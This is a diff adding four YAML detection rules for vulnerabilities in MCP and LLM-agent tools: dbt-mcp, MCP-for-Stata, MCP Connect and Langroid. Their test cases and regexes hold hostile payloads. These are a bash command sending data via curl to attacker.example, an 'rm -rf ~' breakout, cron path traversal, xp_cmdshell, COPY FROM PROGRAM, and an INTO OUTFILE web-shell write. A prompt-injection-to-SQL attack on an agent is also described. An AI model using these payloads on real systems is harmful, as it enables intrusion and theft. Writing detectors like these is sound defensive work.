agent-threat-rules 3.5.4 → 3.5.6

package/rules/tool-poisoning/ATR-2026-01982-dbt-mcp-node-selection-argument-injection.yaml

@@ -0,0 +1,160 @@
+title: "dbt-mcp node_selection/resource_type Argument Injection (CVE-2026-44968)"
+id: ATR-2026-01982
+rule_version: 1
+status: draft
+description: >
+  Detects CVE-2026-44968 / GHSA-xpww-f6pm-cfhq (CWE-88): dbt-mcp's
+  _run_dbt_command() in src/dbt_mcp/dbt_cli/tools.py appends the
+  MCP-client-supplied node_selection string (split on space) and
+  resource_type JSON array verbatim to the dbt subprocess argv without
+  validating that tokens don't begin with a dash. Because Popen is called
+  with shell=False, shell metacharacters are inert, but an attacker can still
+  inject dbt global flags — --profiles-dir, --project-dir, --target,
+  --profile — as independent argv elements on the build/compile/run/test/
+  clone/list/get_node_details_dev tools, redirecting dbt's configuration,
+  project root, or execution target (demonstrated PoC: node_selection =
+  "my_model --profiles-dir /tmp/evil" loads an attacker-controlled
+  profiles.yml and writes to an attacker-chosen database path).
+
+  Detection covers:
+  (a) a node_selection value containing an injected dbt global flag token
+      after the legitimate selector (space-separated, so the flag rides
+      along as an extra "word");
+  (b) a resource_type JSON array containing an injected flag token as an
+      array element instead of a valid resource type;
+  (c) explicit CVE-2026-44968 / GHSA-xpww-f6pm-cfhq exploitation framing.
+
+  The detection target is the request shape — a dash-prefixed dbt global
+  flag riding inside a selector/resource-type value that should only ever
+  contain a selector or resource-type token — which is the exact argument-
+  injection primitive, caught before _run_dbt_command() extends argv. Bound
+  to the dbt-mcp tool surface (node_selection/resource_type params) so a
+  benign selector string elsewhere does not fire.
+author: "ATR Community"
+date: "2026/07/04"
+schema_version: "0.1"
+detection_tier: pattern
+maturity: test
+severity: medium
+
+references:
+  owasp_llm:
+    - "LLM06:2025 - Excessive Agency"
+  owasp_agentic:
+    - "ASI06:2026 - Tool Misuse"
+  mitre_atlas:
+    - "AML.T0053 - LLM Plugin Compromise"
+  mitre_attack:
+    - "T1059 - Command and Scripting Interpreter"
+  cve:
+    - "CVE-2026-44968"
+  ghsa:
+    - "GHSA-xpww-f6pm-cfhq"
+
+metadata_provenance:
+  mitre_atlas: human-reviewed
+  owasp_llm: human-reviewed
+  owasp_agentic: human-reviewed
+
+compliance:
+  eu_ai_act:
+    - { article: "15", context: "Article 15 cybersecurity — runtime detection of dbt-mcp node_selection/resource_type argument injection.", strength: primary }
+    - { article: "9",  context: "Article 9 risk management — runtime risk-treatment control for dbt-mcp node_selection/resource_type argument injection.", strength: secondary }
+  nist_ai_rmf:
+    - { subcategory: "MP.5.1", context: "MAP 5.1 — adversarial input characterised/detected for dbt-mcp node_selection/resource_type argument injection.", strength: primary }
+    - { subcategory: "MG.3.2", context: "MANAGE 3.2 — runtime monitoring control for dbt-mcp node_selection/resource_type argument injection.", strength: secondary }
+  iso_42001:
+    - { clause: "8.1", context: "Clause 8.1 operational control — detection of dbt-mcp node_selection/resource_type argument injection payload.", strength: primary }
+    - { clause: "8.3", context: "Clause 8.3 AI risk treatment — runtime detection as treatment control.", strength: secondary }
+
+tags:
+  category: tool-poisoning
+  subcategory: argument-injection
+  scan_target: mcp
+  confidence: high
+  source: cve-disclosure
+  vendor_sources: dbt-mcp-cve-2026-44968
+
+agent_source:
+  type: tool_call
+  framework:
+    - dbt-mcp
+    - any
+  provider:
+    - any
+
+detection:
+  condition: any
+  false_positives:
+    - "A node_selection value that legitimately contains a dbt selector method using a colon (tag:, config:) rather than a dash-prefixed flag."
+    - "Security advisory or PR text quoting the CVE-2026-44968 / GHSA-xpww-f6pm-cfhq payload for review purposes."
+    - "A resource_type array containing only valid dbt resource type names (model, test, snapshot, source, etc.) with no injected flag."
+  conditions:
+    - field: tool_args
+      operator: regex
+      value: '(?i)\bnode_selection["\x27]?\s*[:=]\s*["\x27][^"\x27\n]{0,200}\s(?:--profiles-dir|--project-dir|--target|--profile)\b'
+      description: >
+        node_selection value whose space-separated tokens include an
+        injected dbt global flag (--profiles-dir/--project-dir/--target/
+        --profile) after the legitimate selector — CVE-2026-44968 Vector 1.
+    - field: tool_args
+      operator: regex
+      value: '(?i)\bresource_type["\x27]?\s*[:=]\s*\[[^\]\n]{0,200}["\x27](?:--profiles-dir|--project-dir|--target|--profile)["\x27][^\]\n]{0,200}\]'
+      description: >
+        resource_type JSON array containing an injected dbt global flag
+        token as an array element instead of a valid resource type —
+        CVE-2026-44968 Vector 2.
+    - field: tool_args
+      operator: regex
+      value: '(?i)--(?:profiles-dir|project-dir|target|profile)\s+["\x27]?/tmp/[^"\x27\s\n]{0,80}["\x27]?[\s\S]{0,120}\b(?:node_selection|resource_type|--select|--resource-type)\b'
+      description: >
+        An injected dbt global flag pointing at an attacker-controlled path
+        appearing alongside the vulnerable --select/--resource-type argv
+        construction.
+    - field: content
+      operator: regex
+      value: '(?i)(?:CVE-2026-44968|GHSA-xpww-f6pm-cfhq)[\s\S]{0,200}(?:dbt-mcp|node_selection|resource_type|profiles-dir|argument\s*inject)'
+      description: >
+        Explicit CVE-2026-44968 / GHSA-xpww-f6pm-cfhq reference combined with
+        dbt-mcp argument-injection language — attack framing in a skill or
+        tool description.
+
+response:
+  actions:
+    - alert
+    - block_tool
+  message_template: >
+    [ATR-2026-01982] MEDIUM: dbt-mcp node_selection/resource_type argument
+    injection detected (CVE-2026-44968, CWE-88). A tool argument injects a
+    dbt global flag (--profiles-dir/--project-dir/--target) as an argv
+    element; dbt-mcp before 1.17.1 appends this to the dbt subprocess
+    unsanitized. Block the tool call and upgrade dbt-mcp to >= 1.17.1.
+
+confidence: 80
+
+wild_fp_rate: 0
+
+test_cases:
+  true_positives:
+    - tool_args: 'node_selection="my_first_model --profiles-dir /tmp/evil-profiles"'
+      expected: triggered
+      description: "PoC Vector 1: node_selection injects --profiles-dir pointing at attacker path"
+    - tool_args: 'resource_type=["model", "--profiles-dir", "/tmp/evil-profiles"]'
+      expected: triggered
+      description: "PoC Vector 2: resource_type array smuggles --profiles-dir as an element"
+    - tool_description: "Exploiting CVE-2026-44968 (GHSA-xpww-f6pm-cfhq) in dbt-mcp: craft node_selection to inject --profiles-dir for argument injection against the dbt CLI."
+      expected: triggered
+      description: "Explicit CVE-2026-44968 dbt-mcp exploitation framing"
+  true_negatives:
+    - tool_args: 'node_selection="my_first_model+ tag:nightly"'
+      expected: not_triggered
+      description: "Legitimate dbt selector syntax with plus-operator and tag: method, no injected flag"
+    - tool_args: 'resource_type=["model", "test", "source"]'
+      expected: not_triggered
+      description: "Valid resource_type array with only real dbt resource type names"
+    - content: "How do I filter dbt models using node_selection in the dbt-mcp run tool?"
+      expected: not_triggered
+      description: "Benign question about dbt-mcp node_selection usage"
+    - tool_args: 'node_selection="staging.orders"'
+      expected: not_triggered
+      description: "Simple model selector, no flags, read-only compile intent"

package/rules/tool-poisoning/ATR-2026-01983-mcp-for-stata-log-file-name-command-injection.yaml

@@ -0,0 +1,170 @@
+title: "MCP-for-Stata: Command Injection via log_file_name Parameter (CVE-2026-47708)"
+id: ATR-2026-01983
+rule_version: 1
+status: draft
+description: >
+  Detects CVE-2026-47708 (CVSS critical, CWE-77): the `log_file_name` (aka
+  `log_name`) parameter accepted by the `stata_do` MCP tool / CLI is
+  interpolated directly into a Stata `log using "<log_file>", ...` command
+  string without sanitization. GuardValidator only scans do-file content, not
+  this wrapper parameter. An attacker breaks out of the quoted log-path
+  string with a quote or newline and appends a dangerous Stata command
+  (`shell`, `python`, `erase`, `winexec`, or `!` shell-escape), achieving
+  remote code execution, or supplies `../` path-traversal segments in
+  log_name to write arbitrary files outside the log directory.
+
+  Detection covers:
+  (a) a stata_do tool call whose log_file_name/log_name value contains a
+      quote/newline breakout followed by a dangerous Stata command token;
+  (b) a log_file_name/log_name value containing path-traversal segments;
+  (c) explicit CVE-2026-47708 exploitation framing referencing the
+      log_file_name / stata_do injection.
+
+  The detection target is the request shape — a stata_do log_file_name
+  parameter carrying a string-breakout plus command injection or path
+  traversal — the exact CVE-2026-47708 primitive, caught before the
+  wrapper builds the Stata command string.
+author: "ATR Community"
+date: "2026/07/04"
+schema_version: "0.1"
+detection_tier: pattern
+maturity: test
+severity: critical
+
+references:
+  owasp_llm:
+    - "LLM06:2025 - Excessive Agency"
+  owasp_agentic:
+    - "ASI06:2026 - Tool Misuse"
+  mitre_atlas:
+    - "AML.T0053 - LLM Plugin Compromise"
+  mitre_attack:
+    - "T1059 - Command and Scripting Interpreter"
+  cve:
+    - "CVE-2026-47708"
+
+metadata_provenance:
+  mitre_atlas: human-reviewed
+  owasp_llm: human-reviewed
+  owasp_agentic: human-reviewed
+
+compliance:
+  eu_ai_act:
+    - article: "15"
+      context: "Article 15 cybersecurity — runtime detection of MCP-for-Stata log_file_name command injection (CVE-2026-47708)."
+      strength: primary
+    - article: "9"
+      context: "Article 9 risk management — runtime risk-treatment control for MCP-for-Stata log_file_name command injection (CVE-2026-47708)."
+      strength: secondary
+  nist_ai_rmf:
+    - subcategory: "MP.5.1"
+      context: "MAP 5.1 — adversarial input characterised/detected for MCP-for-Stata log_file_name command injection (CVE-2026-47708)."
+      strength: primary
+    - subcategory: "MG.3.2"
+      context: "MANAGE 3.2 — runtime monitoring control for MCP-for-Stata log_file_name command injection (CVE-2026-47708)."
+      strength: secondary
+  iso_42001:
+    - clause: "8.1"
+      context: "Clause 8.1 operational control — detection of MCP-for-Stata log_file_name command injection payload."
+      strength: primary
+    - clause: "8.3"
+      context: "Clause 8.3 AI risk treatment — runtime detection as treatment control."
+      strength: secondary
+
+tags:
+  category: tool-poisoning
+  subcategory: mcp-command-injection
+  scan_target: runtime
+  confidence: high
+  source: cve-disclosure
+  vendor_sources: mcp-for-stata-cve-2026-47708
+
+agent_source:
+  type: tool_call
+  framework:
+    - any
+  provider:
+    - any
+
+detection:
+  condition: any
+  false_positives:
+    - "A log_file_name value that legitimately contains a single quote as part of a project naming convention but no command token follows."
+    - "Security advisory or PR text quoting the CVE-2026-47708 payload."
+    - "A stata_do call with a plain alphanumeric log_file_name and no quote/newline breakout."
+  conditions:
+    - field: tool_args
+      operator: regex
+      value: '(?i)\b(?:log_file_name|log_name)\b["\x27]?\s*[:=]\s*["\x27][\s\S]{0,80}["\x27][\s\S]{0,40}(?:\bshell\b|\bpython\b|\berase\b|\bwinexec\b|(?<![\w=])!(?!=))'
+      description: >
+        A stata_do log_file_name/log_name parameter value that breaks out of
+        its quoted string and is followed by a dangerous Stata command token
+        (shell / python / erase / winexec / ! shell-escape) — the
+        CVE-2026-47708 command-injection breakout shape.
+    - field: tool_args
+      operator: regex
+      value: '(?i)\blog\s+using\s+["\x27][\s\S]{0,120}["\x27][\s\S]{0,40}(?:\bshell\b|\bpython\b|\berase\b|\bwinexec\b)\b'
+      description: >
+        A generated Stata `log using "<path>", ...` command string where the
+        interpolated log path breaks out and chains into a dangerous Stata
+        command — the exact string the vulnerable generate_log_command
+        produces once log_name is attacker-controlled.
+    - field: tool_args
+      operator: regex
+      value: '(?i)\b(?:log_file_name|log_name)\b["\x27]?\s*[:=]\s*["\x27][\s\S]{0,20}(?:\.\.[\\/]){2,}'
+      description: >
+        A stata_do log_file_name/log_name parameter containing repeated
+        path-traversal segments (../) — arbitrary file write outside the
+        intended log directory.
+    - field: tool_args
+      operator: regex
+      value: '(?i)CVE-2026-47708[\s\S]{0,200}(?:log_file_name|log_name|stata_do|GuardValidator)'
+      description: >
+        Explicit CVE-2026-47708 reference combined with the vulnerable
+        stata_do log_file_name/log_name parameter or GuardValidator guard —
+        attack framing in a skill or tool description.
+
+response:
+  actions:
+    - alert
+    - block_tool
+  message_template: >
+    [ATR-2026-01983] CRITICAL: MCP-for-Stata log_file_name command injection
+    detected (CVE-2026-47708, CWE-77). The stata_do log_file_name/log_name
+    parameter breaks out of its quoted Stata command string and injects a
+    dangerous command (shell/python/erase/winexec) or performs path
+    traversal. GuardValidator only scans do-file content, not this
+    parameter. Block the tool call and apply allowlist validation
+    (alphanumeric/underscore/dot/hyphen only) to log_name.
+
+confidence: 82
+
+wild_fp_rate: 0
+
+test_cases:
+  true_positives:
+    - tool_args: "stata_do {\"dofile_path\": \"test.do\", \"log_file_name\": \"'; shell echo pwned > /tmp/pwned.txt; '\"}"
+      expected: triggered
+      description: "CVE-2026-47708 PoC — log_file_name breaks out of quoted string and injects a shell command"
+    - tool_args: 'log using "/var/log/stata/x", replace text name(text_log) shell rm -rf ~'
+      expected: triggered
+      description: "Generated Stata log command with breakout chaining into a shell command"
+    - tool_args: 'log_file_name: "../../../../etc/cron.d/pwned"'
+      expected: triggered
+      description: "log_file_name path traversal to write outside the intended log directory"
+    - tool_args: "Exploiting CVE-2026-47708 in mcp-for-stata: craft a malicious log_file_name to break out of the quoted log using command and reach GuardValidator-unchecked stata_do."
+      expected: triggered
+      description: "Explicit CVE-2026-47708 mcp-for-stata exploitation framing"
+  true_negatives:
+    - tool_args: 'stata_do {"dofile_path": "analysis.do", "log_file_name": "session_2026_07_04"}'
+      expected: not_triggered
+      description: "Legitimate stata_do call with a plain alphanumeric log_file_name"
+    - tool_args: 'log using "/var/log/stata/session_2026_07_04.log", replace text name(text_log)'
+      expected: not_triggered
+      description: "Legitimate generated log using command with no breakout or injected command"
+    - tool_args: "How do I set a custom log_file_name when calling stata_do?"
+      expected: not_triggered
+      description: "General question about the log_file_name parameter, not an attack payload"
+    - tool_args: 'stata_do {"dofile_path": "regress.do", "log_name": "project-alpha_v2"}'
+      expected: not_triggered
+      description: "Read-only-style legitimate call with hyphenated project log name, no quote breakout"

package/rules/tool-poisoning/ATR-2026-01985-mcp-connect-bridge-unauth-process-spawn-rce.yaml

@@ -0,0 +1,180 @@
+title: "MCP Connect: Unauthenticated /bridge Endpoint Arbitrary Process Spawn RCE (GHSA-wvr4-3wq4-gpc5)"
+id: ATR-2026-01985
+rule_version: 1
+status: draft
+description: >
+  Detects GHSA-wvr4-3wq4-gpc5 (CWE-306, CVSS critical): MCP Connect
+  (mcp-bridge) ships with AUTH_TOKEN/ACCESS_TOKEN unset by default, which
+  makes authToken an empty string and short-circuits the auth middleware in
+  src/server/http-server.ts (the guard is wrapped in `if (this.accessToken)`,
+  which is skipped when the token is falsy, so next() is always reached). The
+  unauthenticated POST /bridge endpoint then extracts serverPath and args
+  straight from the request body and passes them to
+  MCPClientManager.createClient(), which falls through to
+  StdioClientTransport for any value that is not an http(s)/ws(s) URL, using
+  serverPath as the executable command verbatim
+  (src/client/mcp-client-manager.ts lines 68-75). Any binary reachable on the
+  server's PATH (bash, sh, python, node, cmd, powershell, ...) can be
+  launched with attacker-controlled args, giving unauthenticated remote code
+  execution.
+
+  Detection covers:
+  (a) a POST /bridge request body whose serverPath names a shell/OS binary
+      (not an http(s)/ws(s) MCP server URL) combined with an args array —
+      the arbitrary-process-spawn shape;
+  (b) the PoC's chained shell-exec/exfiltration args pattern (-lc / -c
+      combined with a command separator and a network egress binary);
+  (c) explicit GHSA-wvr4-3wq4-gpc5 / mcp-bridge exploitation framing tied to
+      serverPath and /bridge.
+
+  A legitimate /bridge call whose serverPath is an http(s):// or ws(s)://
+  URL pointing at an actual MCP server does NOT match — that is the intended
+  StdioClientTransport bypass path, not the executable-spawn primitive.
+author: "ATR Community"
+date: "2026/07/04"
+schema_version: "0.1"
+detection_tier: pattern
+maturity: test
+severity: critical
+
+references:
+  owasp_llm:
+    - "LLM06:2025 - Excessive Agency"
+  owasp_agentic:
+    - "ASI06:2026 - Tool Misuse"
+  mitre_atlas:
+    - "AML.T0049 - Exploit Public-Facing Application"
+  mitre_attack:
+    - "T1059 - Command and Scripting Interpreter"
+  cve:
+    - "GHSA-wvr4-3wq4-gpc5"
+
+metadata_provenance:
+  mitre_atlas: human-reviewed
+  owasp_llm: human-reviewed
+  owasp_agentic: human-reviewed
+
+compliance:
+  eu_ai_act:
+    - article: "15"
+      context: "Article 15 cybersecurity — runtime detection of MCP Connect /bridge unauthenticated process-spawn RCE (GHSA-wvr4-3wq4-gpc5)."
+      strength: primary
+    - article: "9"
+      context: "Article 9 risk management — runtime risk-treatment control for MCP Connect /bridge unauthenticated process-spawn RCE (GHSA-wvr4-3wq4-gpc5)."
+      strength: secondary
+  nist_ai_rmf:
+    - subcategory: "MP.5.1"
+      context: "MAP 5.1 — adversarial input characterised/detected for MCP Connect /bridge unauthenticated process-spawn RCE (GHSA-wvr4-3wq4-gpc5)."
+      strength: primary
+    - subcategory: "MG.3.2"
+      context: "MANAGE 3.2 — runtime monitoring control for MCP Connect /bridge unauthenticated process-spawn RCE (GHSA-wvr4-3wq4-gpc5)."
+      strength: secondary
+  iso_42001:
+    - clause: "8.1"
+      context: "Clause 8.1 operational control — detection of MCP Connect /bridge unauthenticated process-spawn RCE payload."
+      strength: primary
+    - clause: "8.3"
+      context: "Clause 8.3 AI risk treatment — runtime detection as treatment control."
+      strength: secondary
+
+tags:
+  category: tool-poisoning
+  subcategory: mcp-unauth-rce
+  scan_target: runtime
+  confidence: high
+  source: cve-disclosure
+  vendor_sources: mcp-connect-ghsa-wvr4-3wq4-gpc5
+
+agent_source:
+  type: tool_call
+  framework:
+    - any
+  provider:
+    - any
+
+detection:
+  condition: any
+  false_positives:
+    - "A legitimate /bridge call whose serverPath is an http(s):// or ws(s):// URL pointing at a real MCP server."
+    - "Security advisory or PR text quoting the GHSA-wvr4-3wq4-gpc5 PoC."
+    - "A /bridge request body with a serverPath field that is empty or omitted."
+  conditions:
+    - field: tool_args
+      operator: regex
+      value: '(?i)/bridge\b[\s\S]{0,200}["\x27]?serverPath["\x27]?\s*[:=]\s*["\x27]?(?:/bin/(?:ba)?sh|/usr/bin/(?:ba)?sh|\bbash\b|\bsh\b|\bcmd(?:\.exe)?\b|\bpowershell(?:\.exe)?\b|\bnode\b|\bpython3?\b|\bperl\b|\bruby\b)["\x27]?[\s\S]{0,120}["\x27]?args["\x27]?\s*[:=]'
+      description: >
+        A POST /bridge request body whose serverPath names a shell/OS
+        executable (bash, sh, cmd, powershell, node, python, perl, ruby)
+        rather than an MCP server URL, paired with an args field — the
+        CreateClient() arbitrary-process-spawn shape (GHSA-wvr4-3wq4-gpc5).
+    - field: tool_args
+      operator: regex
+      value: '(?i)["\x27]?serverPath["\x27]?\s*[:=]\s*["\x27]?(?:bash|sh)["\x27]?[\s\S]{0,80}["\x27]?args["\x27]?\s*[:=]\s*\[[\s\S]{0,120}["\x27](?:-lc|-c)["\x27][\s\S]{0,160}(?:;|&&|\|)[\s\S]{0,80}(?:\bcurl\b|\bwget\b|\bnc\b|\bncat\b|\bcat\b\s+/etc/passwd|\bwhoami\b)'
+      description: >
+        The PoC shape: serverPath=bash/sh with args=["-lc"/"-c", "<cmd1> ; or
+        && <exfil/recon command>"] — a chained shell command with a
+        network-egress or credential-recon binary launched via mcp-bridge's
+        unauthenticated StdioClientTransport fallback.
+    - field: tool_args
+      operator: regex
+      value: '(?i)GHSA-wvr4-3wq4-gpc5[\s\S]{0,200}(?:serverPath|/bridge|mcp-bridge|MCP Connect)'
+      description: >
+        Explicit GHSA-wvr4-3wq4-gpc5 reference combined with the vulnerable
+        serverPath parameter, /bridge endpoint, or mcp-bridge/MCP Connect
+        product name — attack framing in a skill or tool description.
+
+response:
+  actions:
+    - alert
+    - block_tool
+  message_template: >
+    [ATR-2026-01985] CRITICAL: MCP Connect /bridge unauthenticated process-
+    spawn RCE detected (GHSA-wvr4-3wq4-gpc5, CWE-306). A /bridge request
+    body supplies a serverPath naming a shell/OS binary plus args, which
+    reaches StdioClientTransport unauthenticated and spawns an arbitrary
+    process as the mcp-bridge user. Block the request. Remediation: set
+    AUTH_TOKEN/ACCESS_TOKEN and fail startup when absent; restrict
+    serverPath to an allowlist of MCP server URLs/binaries.
+
+confidence: 82
+
+wild_fp_rate: 0
+
+test_cases:
+  true_positives:
+    - tool_args: 'POST /bridge {"serverPath": "bash", "args": ["-lc", "id > /tmp/pwned && curl -d @/tmp/pwned https://attacker.example/exfil"], "method": "tools/list", "params": {}}'
+      expected: triggered
+      description: "GHSA-wvr4-3wq4-gpc5 PoC — unauthenticated /bridge spawns bash with exfiltration args"
+    - tool_args: 'POST /bridge {"serverPath": "/bin/sh", "args": ["-c", "whoami; curl http://attacker.example/beacon"], "method": "tools/list"}'
+      expected: triggered
+      description: "serverPath as absolute shell path with chained recon and network egress"
+    - tool_args: "Exploiting GHSA-wvr4-3wq4-gpc5 in MCP Connect: send a POST to /bridge with serverPath set to bash to achieve unauthenticated RCE."
+      expected: triggered
+      description: "Explicit GHSA-wvr4-3wq4-gpc5 mcp-bridge exploitation framing"
+  true_negatives:
+    - tool_args: 'POST /bridge {"serverPath": "https://mcp.example.com/server", "args": [], "method": "tools/list"}'
+      expected: not_triggered
+      description: "Legitimate /bridge call pointing serverPath at a real MCP server URL"
+    - tool_args: 'POST /bridge {"serverPath": "wss://mcp.example.com/ws", "method": "tools/list", "params": {}}'
+      expected: not_triggered
+      description: "Legitimate /bridge call using a websocket MCP server URL, no args field"
+    - tool_args: "How do I configure AUTH_TOKEN so the /bridge endpoint requires authentication?"
+      expected: not_triggered
+      description: "General question about securing the /bridge endpoint, not an attack payload"
+    - tool_args: 'GET /bridge/status'
+      expected: not_triggered
+      description: "Read-only status check on the bridge endpoint"
+_llm_authored:
+  model: claude (gstack subagent)
+  generalization_note: >
+    The rule generalizes beyond the literal PoC by anchoring on the
+    structural shape of the vulnerability -- a /bridge request body whose
+    serverPath names an OS shell/interpreter binary (not an http(s)/ws(s)
+    MCP server URL) paired with an args field -- rather than the exact
+    attacker command string. Condition 2 narrows to the PoC's chained
+    shell-exec + exfiltration/recon pattern for higher-confidence matches.
+    Condition 3 catches advisory/exploit-framing text. Legitimate /bridge
+    traffic pointing at real MCP server URLs (http/https/ws/wss) is
+    excluded by construction since those values never match the
+    shell-binary alternation.
+  note: Generation-time LLM authoring; verified by deterministic gate. Runtime detection is pure regex. Human review required before merge.

package/rules/tool-poisoning/ATR-2026-01987-langroid-sqlchatagent-prompt-to-sql-rce.yaml

@@ -0,0 +1,165 @@
+title: "Langroid SQLChatAgent Prompt-to-SQL Remote Code Execution (CVE-2026-25879)"
+id: ATR-2026-01987
+rule_version: 1
+status: draft
+description: >
+  Detects CVE-2026-25879 (CWE-89, CWE-94): Langroid's SQLChatAgent executes
+  SQL statements produced by the LLM, which is itself influenceable by prompt
+  injection (including indirectly, via data later returned to the LLM). When
+  the configured database role has code-execution or filesystem privileges,
+  an attacker can coerce the LLM into emitting a dialect-specific dangerous
+  primitive — PostgreSQL `COPY ... FROM PROGRAM` / `pg_execute_server_program`,
+  MySQL `FILE` / `LOAD_FILE` / `INTO OUTFILE`, or MSSQL `xp_cmdshell` — which
+  the agent then executes verbatim via RunQueryTool, achieving remote code
+  execution or arbitrary file read/write on the database host. Affected:
+  langroid before 0.63.0 (allow_dangerous_operations=True restores the
+  unrestricted legacy behavior for trusted deployments).
+
+  Detection covers:
+  (a) LLM-generated SQL containing PostgreSQL COPY ... FROM PROGRAM or
+      pg_execute_server_program;
+  (b) MySQL LOAD_FILE / INTO OUTFILE / FILE-privilege file primitives;
+  (c) MSSQL xp_cmdshell invocation;
+  (d) explicit CVE-2026-25879 exploitation framing.
+
+  The detection target is the dialect-specific RCE/filesystem primitive
+  appearing in SQL that is about to be executed by the SQL agent — an
+  ordinary SELECT/INSERT/UPDATE statement, or a benign COPY FROM a file path
+  (not PROGRAM), does not fire.
+author: "ATR Community"
+date: "2026/07/04"
+schema_version: "0.1"
+detection_tier: pattern
+maturity: test
+severity: critical
+
+references:
+  owasp_llm:
+    - "LLM01:2025 - Prompt Injection"
+  owasp_agentic:
+    - "ASI06:2026 - Tool Misuse"
+  mitre_atlas:
+    - "AML.T0053 - LLM Plugin Compromise"
+  mitre_attack:
+    - "T1059 - Command and Scripting Interpreter"
+  cve:
+    - "CVE-2026-25879"
+
+metadata_provenance:
+  mitre_atlas: human-reviewed
+  owasp_llm: human-reviewed
+  owasp_agentic: human-reviewed
+
+compliance:
+  eu_ai_act:
+    - { article: "15", context: "Article 15 cybersecurity — runtime detection of Langroid SQLChatAgent prompt-to-SQL remote code execution.", strength: primary }
+    - { article: "9",  context: "Article 9 risk management — runtime risk-treatment control for Langroid SQLChatAgent prompt-to-SQL remote code execution.", strength: secondary }
+  nist_ai_rmf:
+    - { subcategory: "MP.5.1", context: "MAP 5.1 — adversarial input characterised/detected for Langroid SQLChatAgent prompt-to-SQL remote code execution.", strength: primary }
+    - { subcategory: "MG.3.2", context: "MANAGE 3.2 — runtime monitoring control for Langroid SQLChatAgent prompt-to-SQL remote code execution.", strength: secondary }
+  iso_42001:
+    - { clause: "8.1", context: "Clause 8.1 operational control — detection of Langroid SQLChatAgent prompt-to-SQL remote code execution payload.", strength: primary }
+    - { clause: "8.3", context: "Clause 8.3 AI risk treatment — runtime detection as treatment control.", strength: secondary }
+
+tags:
+  category: tool-poisoning
+  subcategory: llm-generated-sql-rce
+  scan_target: llm_io
+  confidence: high
+  source: cve-disclosure
+  vendor_sources: langroid-cve-2026-25879
+
+agent_source:
+  type: llm_io
+  framework:
+    - langroid
+    - any
+  provider:
+    - any
+
+detection:
+  condition: any
+  false_positives:
+    - "A database administrator legitimately running COPY ... FROM PROGRAM or xp_cmdshell through a trusted, human-authored maintenance script — expected to match; review confirms intent."
+    - "Security advisory or PR text quoting the CVE-2026-25879 payload."
+    - "A benign SELECT, INSERT, or UPDATE statement generated by the SQL agent."
+    - "A benign COPY FROM a file path (not PROGRAM)."
+  conditions:
+    - field: content
+      operator: regex
+      value: '(?i)\bCOPY\b[\s\S]{0,120}\bFROM\s+PROGRAM\b'
+      description: >
+        PostgreSQL COPY ... FROM PROGRAM — executes an arbitrary OS command
+        via the database server process, the core CVE-2026-25879 RCE PoC
+        primitive (`COPY log(content) FROM PROGRAM 'id'`).
+    - field: content
+      operator: regex
+      value: '(?i)\bpg_execute_server_program\b'
+      description: >
+        PostgreSQL pg_execute_server_program primitive — equivalent
+        server-side command execution vector named in the advisory.
+    - field: content
+      operator: regex
+      value: '(?i)\bxp_cmdshell\b'
+      description: >
+        MSSQL xp_cmdshell — executes an arbitrary OS command via the
+        database server process, the MSSQL-dialect RCE primitive named in
+        the advisory.
+    - field: content
+      operator: regex
+      value: '(?i)\bINTO\s+OUTFILE\b'
+      description: >
+        MySQL SELECT ... INTO OUTFILE — writes arbitrary files to the
+        database host filesystem via a FILE-privileged connection, the
+        MySQL-dialect filesystem write primitive named in the advisory.
+    - field: content
+      operator: regex
+      value: '(?i)CVE-2026-25879[\s\S]{0,120}(?:langroid|sqlchatagent|prompt.{0,20}sql|rce|xp_cmdshell|from program)'
+      description: >
+        Explicit CVE-2026-25879 reference combined with Langroid
+        prompt-to-SQL RCE language — attack framing in a skill or tool
+        description.
+
+response:
+  actions:
+    - alert
+    - block_input
+  message_template: >
+    [ATR-2026-01987] CRITICAL: Langroid SQLChatAgent prompt-to-SQL remote
+    code execution detected (CVE-2026-25879, CWE-89/CWE-94). LLM-generated
+    SQL contains a dialect-specific RCE/filesystem primitive
+    (COPY ... FROM PROGRAM / pg_execute_server_program / xp_cmdshell /
+    INTO OUTFILE). Block execution and upgrade langroid to
+    >= 0.63.0, or disable allow_dangerous_operations.
+
+confidence: 85
+
+wild_fp_rate: 0
+
+test_cases:
+  true_positives:
+    - input: "DROP TABLE IF EXISTS log; CREATE TABLE log(content text); COPY log(content) FROM PROGRAM 'id'; SELECT * FROM log;"
+      expected: triggered
+      description: "PostgreSQL COPY FROM PROGRAM RCE payload from the CVE-2026-25879 PoC"
+    - input: "SELECT pg_execute_server_program('id')"
+      expected: triggered
+      description: "PostgreSQL pg_execute_server_program RCE primitive"
+    - input: "EXEC xp_cmdshell 'whoami'"
+      expected: triggered
+      description: "MSSQL xp_cmdshell RCE primitive"
+    - input: "SELECT id, name FROM staff INTO OUTFILE '/var/www/html/shell.php'"
+      expected: triggered
+      description: "MySQL SELECT ... INTO OUTFILE filesystem-write primitive"
+  true_negatives:
+    - input: "SELECT * FROM users WHERE id = 42"
+      expected: not_triggered
+      description: "Ordinary benign SELECT statement generated by the SQL agent"
+    - input: "COPY log(content) FROM '/data/import.csv' WITH (FORMAT csv)"
+      expected: not_triggered
+      description: "Benign COPY FROM a file path, not PROGRAM"
+    - input: "INSERT INTO orders (customer_id, total) VALUES (7, 199.99)"
+      expected: not_triggered
+      description: "Ordinary benign INSERT statement generated by the SQL agent"
+    - input: "How does Langroid's SQLChatAgent turn a natural-language question into SQL?"
+      expected: not_triggered
+      description: "General question about SQLChatAgent, not an executable SQL payload"